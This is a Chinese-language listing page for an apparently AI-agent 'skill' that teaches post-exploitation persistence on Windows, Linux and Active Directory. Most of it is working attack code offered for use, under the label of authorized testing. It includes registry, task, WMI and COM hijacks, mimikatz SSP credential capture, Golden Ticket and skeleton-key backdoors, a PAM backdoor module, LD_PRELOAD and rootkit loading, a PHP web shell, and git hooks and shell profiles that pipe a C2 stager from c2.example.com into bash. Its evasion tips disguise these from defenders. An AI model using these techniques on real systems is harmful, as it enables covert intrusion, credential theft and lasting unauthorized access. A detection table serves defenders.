mcpField
O
offensive-persistence

offensive-persistence

github.com/snailsploit安全9.7k127 次安装2 周前更新
代码仓库

关于 offensive-persistence

面向授权渗透测试人员的持久化技术指南,介绍 Windows、Linux 及 Active Directory 中的机制,并强调权限要求、检测线索与清理。

主要功能

  1. 01Windows 持久化机制
  2. 02Linux 定时任务与服务
  3. 03Active Directory 域级方法
  4. 04权限和检测线索说明
  5. 05清理与可逆性提示

适用场景

  1. 01规划授权测试中的持久化验证
  2. 02评估重启或登录后的访问延续
  3. 03记录机制位置以便演练后清理

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-persistence

安装后在 Claude Code 中输入/offensive-persistence确认已加载。

详细介绍

持久化驻留

持久化可确保你的访问权限在重启、更改密码和例行维护后依然有效。你植入一些机制,让其重新建立会话或再次执行有效载荷,而无需重新进行初始入侵。持久化技术的选择取决于你的权限级别、目标操作系统、参与范围以及你能接受的检测风险。

本技能涵盖 Windows 和 Linux 的持久化方法,从简单的注册表项到域级 Active Directory 后门。这里的每种技术都假设你已经能在目标上执行代码。仅在授权的参与中使用这些技术。

快速工作流

  1. 评估当前权限级别(用户级、管理员/root 或域管理员)。
  2. 确认目标 OS 版本及已启用的安全控制。
  3. 选择与权限级别和隐蔽需求相匹配的持久化机制。
  4. 验证持久化机制在重启或注销后依然有效。
  5. 记录具体机制和位置,以便在参与结束时清理。
  6. 在范围允许时,在不同权限级别部署多种持久化方法。
  7. 优先选择可逆的方法,以便在修复时彻底移除。

Windows:注册表自动启动

注册表 Run 和 RunOnce 项会在用户登录或系统启动时执行命令。这是最简单的持久化机制,在用户和管理员权限级别下都适用。

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

使用 SharPersist 方便执行操作:

# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

你还应了解以下其他自动启动位置:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

OPSEC 提示:注册表 Run 项是防御人员最先检查的位置。使用听起来无害的值名称。Sysmon 事件 13(RegistryValueSet)会捕获对这些项的所有注册表修改。


Windows:计划任务

计划任务可以灵活地实现持久化,并精确控制时间。它们在重启后依然有效,可作为 SYSTEM 或指定用户运行。

# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist 替代方法:SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon

使用 PowerShell 可获得更多控制:

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

OPSEC 提示:将任务名称嵌套在现有的 Microsoft 目录下(例如 Microsoft\Windows\Maintenance\),以融入其中。事件 4698 会记录任务创建。


Windows:WMI 事件订阅

WMI 事件订阅是一种强大的无文件持久化机制,由三个组件组成:事件筛选器(触发器)、事件使用者(操作)以及将二者关联起来的绑定。

# Create a WMI event subscription that fires on system startup
# Event Filter -- fires 60 seconds after boot
$filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Arguments @{
    Name = "CoreTelemetryFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 120"
}

# Event Consumer -- execute payload
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Arguments @{
    Name = "CoreTelemetryConsumer"
    CommandLineTemplate = "powershell.exe -ep bypass -w hidden -f C:\ProgramData\Microsoft\telemetry.ps1"
}

# Binding
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

清理——在参与结束时移除全部三个组件:

Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject

OPSEC 提示:WMI 订阅存储在 CIM 存储库中(C:\Windows\System32\wbem\Repository\)。Sysmon 事件 19/20/21 会捕获 WMI 筛选器、使用者和绑定的创建情况。这是较为隐蔽的原生持久化方法之一,但监控范围正日益扩大。


Windows:DLL 劫持和 COM 劫持

DLL 搜索顺序劫持

当应用程序加载 DLL 时未指定完整路径,Windows 会按既定顺序搜索目录。你可以将恶意 DLL 放入优先于合法 DLL 被搜索的目录中。

使用 Process Monitor 查找可劫持的 DLL:筛选条件设为 Result = NAME NOT FOUND 和 Path ends with .dll。未指定完整路径加载 DLL 的应用程序会先搜索应用程序目录,再搜索 System32,因此你可以将 DLL 放在二进制文件旁边。

// Minimal proxy DLL template (forwards calls to legit DLL)
// Compile: cl /LD /Fe:target.dll hijack.c
#include <windows.h>
#pragma comment(linker, "/export:OriginalFunc=legit.OriginalFunc")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a new thread
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunc, NULL, 0, NULL);
    }
    return TRUE;
}
COM 劫持

COM 对象通过注册表解析。你可以将 DLL 写入 HKCU,从而插入查找链;HKCU 项的优先级高于 HKLM 项。

# Find COM objects scheduled to load (hijack candidates)
# Look for InprocServer32 keys under HKLM that do not exist under HKCU

# Hijack a COM object used by explorer.exe
# CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E} -- MMDeviceEnumerator
New-Item -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Value "C:\Users\Public\payload.dll" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32" -Name "ThreadingModel" -Value "Both" -Force

OPSEC 提示:在 HKCU 下进行 COM 劫持无需管理员权限。每当 COM 对象被实例化时,有效载荷都会加载。Sysmon 事件 7(ImageLoad)可检测可疑 DLL 加载。


Windows:服务和 SSP 持久化

创建服务
# Create a persistent service
sc create "WinDefHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto obj= LocalSystem
sc description "WinDefHealthSvc" "Windows Defender Health Service Monitor"
sc start "WinDefHealthSvc"

# Modify an existing service (riskier, breaks legitimate service)
sc config "wuauserv" binpath= "cmd /c C:\Windows\Temp\svc.exe & C:\Windows\System32\svchost.exe -k netsvcs -p"
安全支持提供程序(SSP)DLL

SSP DLL 会在启动时由 LSASS 加载,并接收每次交互式登录的明文凭据。这是一种强大的凭据窃取持久化机制。

# Copy SSP DLL to System32
copy mimilib.dll C:\Windows\System32\

# Register the SSP (persists across reboots)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

# In-memory SSP injection (does not survive reboot without registry key)
# Using mimikatz:
misc::memssp
# Credentials logged to C:\Windows\System32\mimilsa.log

OPSEC 提示:SSP 持久化需要管理员权限,并会修改 LSASS。Credential Guard 会完全阻止此操作。注册新的 SSP 时会触发事件 4622(已加载安全包)。


Windows:Active Directory 持久化

这些技术可提供域级持久化,即使单台主机完成修复也能持续存在。使用这些技术需要域管理员或同等权限。

黄金票据
# Extract the KRBTGT hash
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:[email protected]

# Forge a Golden Ticket (valid for any service in the domain)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local administrator
export KRB5CCNAME=administrator.ccache

# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_HASH> /ptt
白银票据
# Forge a Silver Ticket for a specific service (e.g., CIFS on a file server)
impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator

# With mimikatz
kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:fileserver.corp.local /service:cifs /rc4:<SVC_HASH> /ptt
骨架密钥
# Inject skeleton key into DC LSASS (all accounts accept "mimikatz" as password)
# Requires admin on DC, does NOT survive reboot
misc::skeleton

# Authenticate with skeleton key
net use \\dc01\c$ /user:corp\anyuser mimikatz
滥用 AdminSDHolder
# Grant a user full control over AdminSDHolder
# SDProp propagates this ACL to all protected groups every 60 minutes
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All -Verbose

# The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.
DCShadow 和 SID History 注入
# DCShadow: register rogue DC and push replication changes (requires DA)
# Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500
# Terminal 2: lsadump::dcshadow /push

# SID History: add DA SID to a regular user (requires DC access)
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512

OPSEC 提示:黄金票据的默认有效期为 10 年。防御者会查找有效期超过域策略上限的 TGT,以此检测黄金票据。DCShadow 极难被发现,但需要域管理员权限。骨架密钥会在重启后失效,并会修改 DC 本身的 LSASS。


Linux:Cron、At 和 Systemd 持久化

Cron 任务
# User-level cron (no root required)
crontab -e
# Add: */15 * * * * /home/user/.config/update.sh

# System-level cron (requires root)
echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab

# Drop a cron file in cron.d
echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper

# Cron directories for specific timing
cp payload.sh /etc/cron.hourly/health-check
chmod +x /etc/cron.hourly/health-check
At 任务
# Schedule a one-time execution (self-rescheduling for recurrence)
echo "/opt/.cache/beacon.sh" | at now + 1 hour
# In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes
Systemd 计时器和服务
# Create a systemd service
cat << 'EOF' > /etc/systemd/system/system-health.service
[Unit]
Description=System Health Monitor

[Service]
Type=simple
ExecStart=/opt/.cache/beacon.sh
Restart=on-failure
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Create a timer for periodic execution
cat << 'EOF' > /etc/systemd/system/system-health.timer
[Unit]
Description=System Health Check Timer

[Timer]
OnBootSec=120
OnUnitActiveSec=900
Unit=system-health.service

[Install]
WantedBy=timers.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable system-health.timer
systemctl start system-health.timer

对于用户级 systemd(无需 root),请将单元文件放在 ~/.config/systemd/user/ 中,并使用 systemctl --user enable/start。


Linux:Shell、SSH 和身份验证持久化

SSH 授权密钥
# Inject your public key (user-level, no root required)
echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Hide in a custom location via sshd_config (requires root)
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config
mkdir -p /etc/ssh/legacy_keys/root/
echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys
systemctl restart sshd
Shell 配置文件后门
# Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)
echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
# /etc/profile affects all users (requires root)
echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
PAM 后门
// Malicious PAM module that accepts a backdoor password
// Compile: gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
#include <security/pam_modules.h>
#include <string.h>

#define BACKDOOR_PASS "s3cure_backd00r"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *password = NULL;
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    if (password && strcmp(password, BACKDOOR_PASS) == 0) {
        return PAM_SUCCESS;
    }
    return PAM_AUTH_ERR;  // Fall through to next module
}
# Install the PAM backdoor
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
# Add to PAM configuration (before pam_unix.so)
sed -i '1a auth sufficient pam_backdoor.so' /etc/pam.d/common-auth

OPSEC 提示:PAM 后门功能强大,但如果配置错误,修改 /etc/pam.d/ 可能会导致所有用户都无法登录。请充分测试。文件完整性监控(AIDE、OSSEC)可以检测 PAM 模块变更。


Linux:LD_PRELOAD、内核模块和 Web Shell

LD_PRELOAD 劫持
// Shared library that hooks libc functions and executes a payload
// Compile: gcc -shared -fPIC -o libsec.so preload.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

__attribute__((constructor))
void init(void) {
    // Run once per process load
    if (access("/tmp/.beacon_lock", F_OK) != 0) {
        system("touch /tmp/.beacon_lock && /opt/.cache/beacon.sh &");
    }
}
# System-wide LD_PRELOAD (affects all dynamically linked binaries)
echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
# Or per-user via .bashrc
echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
内核模块 Rootkit

可加载内核模块(LKM)Rootkit 会挂钩 VFS readdir,以隐藏文件、进程和网络连接。它会将自身从模块列表中移除(list_del_init(&__this_module.list)),以规避 lsmod 检测。

# Load the kernel module
insmod rootkit.ko

# Persist across reboots
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/misc/
depmod -a
echo "rootkit" >> /etc/modules
Web Shell
<?php
// Minimal PHP web shell -- blend into an existing web application
// Place in a file resembling legitimate app code
if(isset($_REQUEST['debug_token']) && $_REQUEST['debug_token'] === 'auth_key_here') {
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
# Hide web shell in an existing web application directory
cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php

# JSP web shell for Java applications
# Place in the webapps directory of Tomcat/JBoss
Git 挂钩
# Backdoor a Git hook in a repository developers use
cat << 'EOF' > /path/to/repo/.git/hooks/post-merge
#!/bin/bash
nohup /opt/.cache/beacon.sh &>/dev/null &
EOF
chmod +x /path/to/repo/.git/hooks/post-merge

# pre-commit hook executes on every commit
cat << 'EOF' > /path/to/repo/.git/hooks/pre-commit
#!/bin/bash
(curl -s https://c2.example.com/stager | bash &) 2>/dev/null
exit 0
EOF
chmod +x /path/to/repo/.git/hooks/pre-commit

检测 / 防御者视角

技术主要检测方式关键指标
注册表 Run 键Sysmon 13(RegistryValueSet)Run/RunOnce 路径中的新值
计划任务事件 4698(已创建任务)非标准路径中的任务、SYSTEM 上下文
WMI 订阅Sysmon 19/20/21新的永久事件使用者
DLL 劫持Sysmon 7(ImageLoad)从异常目录加载的 DLL
COM 劫持注册表监控HKCU InprocServer32 覆盖项
服务创建事件 7045、4697binpath 可疑的新服务
SSP DLL事件 4622LSA 配置中的新安全包
黄金/白银票据事件 4768/4769有效期或加密方式异常的 TGT
DCShadow复制元数据变更恶意 DC 注册(SPN)
Cron/systemd文件完整性监控新的 cron 条目、新的单元文件
SSH 密钥authorized_keys 监控新密钥、已修改的 AuthorizedKeysFile
PAM 模块文件完整性监控已修改的 pam.d 配置、新的 .so 文件
LD_PRELOAD检查 /etc/ld.so.preloadpreload 或环境中的意外条目
内核模块lsmod、kmod 监控未知模块、已修改的 /etc/modules
Web ShellWAF、文件完整性、YARA含有 exec 函数的小型 PHP/JSP 文件

关键防御措施:

  • AppLocker/WDAC 限制允许运行的可执行文件和 DLL。
  • Credential Guard 可阻止 SSP DLL 注入和 LSASS 凭据窃取。
  • 受保护用户组 可阻止敏感帐户使用 NTLM 和缓存凭据。
  • AIDE/OSSEC 可检测 Linux 系统上的文件完整性变更。
  • auditd 规则可捕获 cron 目录中的文件创建和模块加载。
  • Autoruns(Sysinternals)可枚举 Windows 上的所有自动启动位置。

交战速查表

SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
User-level Windows, quick          Registry Run key             reg add HKCU\...\Run
User-level Windows, reliable       Scheduled task (user)        schtasks /create /sc onlogon
Admin Windows, stealthy            WMI event subscription       Set-WmiInstance __EventFilter
Admin Windows, service             Service creation             sc create ... start= auto
Admin Windows, cred harvest        SSP DLL                      mimilib.dll + LSA registry
Domain admin, long-term            Golden Ticket                impacket-ticketer / kerberos::golden
Domain admin, targeted service     Silver Ticket                impacket-ticketer -spn
Domain admin, ACL abuse            AdminSDHolder                Add-DomainObjectAcl
User-level Linux, quick            Cron job                     crontab -e
User-level Linux, SSH              authorized_keys              echo key >> authorized_keys
Root Linux, reliable               Systemd service + timer      systemctl enable
Root Linux, stealthy               LD_PRELOAD                   /etc/ld.so.preload
Root Linux, deep                   Kernel module                insmod + /etc/modules
Web server access                  Web shell                    PHP/JSP in webroot
Developer environment              Git hooks                    .git/hooks/post-merge

MITRE ATT&CK 参考:

  • T1547 -- 启动或登录自动启动执行(.001 注册表运行键,.004 Winlogon,.005 SSP)
  • T1053 -- 计划任务/作业(.002 At,.003 Cron,.005 计划任务)
  • T1546 -- 事件触发执行(.003 WMI,.015 COM 劫持)
  • T1556 -- 修改身份验证过程(.003 可插拔身份验证模块)
  • T1543 -- 创建或修改系统进程(.003 Windows 服务)
  • T1574 -- 劫持执行流(.001 DLL 搜索顺序,.012 COM 劫持)
  • T1558 -- 窃取或伪造 Kerberos 票证(.001 黄金票证,.002 白银票证)
  • T1098 -- 账户操纵(.003 其他云角色)
  • T1505 -- 服务器软件组件(.003 Web Shell)

关键参考资料

评论

支持 Markdown